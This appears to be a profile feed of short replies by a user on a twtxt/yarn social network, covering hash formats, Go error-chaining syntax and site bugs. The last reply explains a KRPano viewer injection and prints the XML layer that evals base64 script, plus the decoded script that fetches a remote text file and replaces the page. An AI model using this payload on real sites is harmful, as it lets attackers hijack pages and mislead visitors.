søren peter mørch

xuu (txt.sour.is)

Xuu /zuː/ I am AWESOME! ○△□ ⍼

xuu (txt.sour.is)

I think @movq removed support for it in jenny. 🫠

In reply to: #fmgas3a 1 year ago
xuu (txt.sour.is)

True. Though if the idea turns out to be better.. then community will adopt it.

if you look at the subject for that twt you will see that it uses the extended hash format to include a URL address.

In reply to: #fmgas3a 1 year ago
xuu (txt.sour.is)

I agree. finding good writings on architecture is hard to find. I used to read architecture reviews over on the high scalability blog. i suspect the reason why is that the arch is how the big tech companies can build moats around their bases. I know in AWS world it only goes as far as how to nickle and dime you to death.

I have the books but they don't grow much more past interview level.

In reply to: #5emitxq 1 year ago
xuu (txt.sour.is)

huh. i suppose. So they came up with mentioning with a bang? i think we parse them as something that i guess we can check for in the AST

In reply to: #vnr6wza 1 year ago
xuu (txt.sour.is)

@prologic I'll have you know it took me minutes of time to get the mouse suspended like that by that rats nest!

In reply to: #jb5qaka 1 year ago
xuu (txt.sour.is)

@prologic the code block is the cause of https://txt.sour.is/twt/zn2kg7q

and the second? i get POST errors when i try to submit the webform.

In reply to: #afv5mqa 1 year ago
xuu (txt.sour.is)

@lyse The one in question is more like the javascript version for unwrapping errors when accessing methods.

 const value = some?.deeply?.nested?.object?.value

but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:

b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?

// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?

I am however infavor of having a sort of ternary ? in go.

PS. @prologic for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?

In reply to: #ondf3bq 1 year ago
xuu (txt.sour.is)

hmm this would convert down to:

var f os.File
if f, e = os.Open("foo.txt"); e != nil {
    log.Fatal("error opening file; %s", e)
}

im not sure if its much better.

In reply to: #spvh6fa 1 year ago
xuu (txt.sour.is)

Sounds about as complex as adding @nick@domain support by doing a webfinger lookup to get the URL.

In reply to: #ot56hla 1 year ago
xuu (txt.sour.is)

So this works by adding some unbounded javascript autoloaded by the [KRPano VR Media viewer](https://krpano.com/docu/xml/#layer) the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

In reply to: #ffdjw2q 1 year ago
Reply via email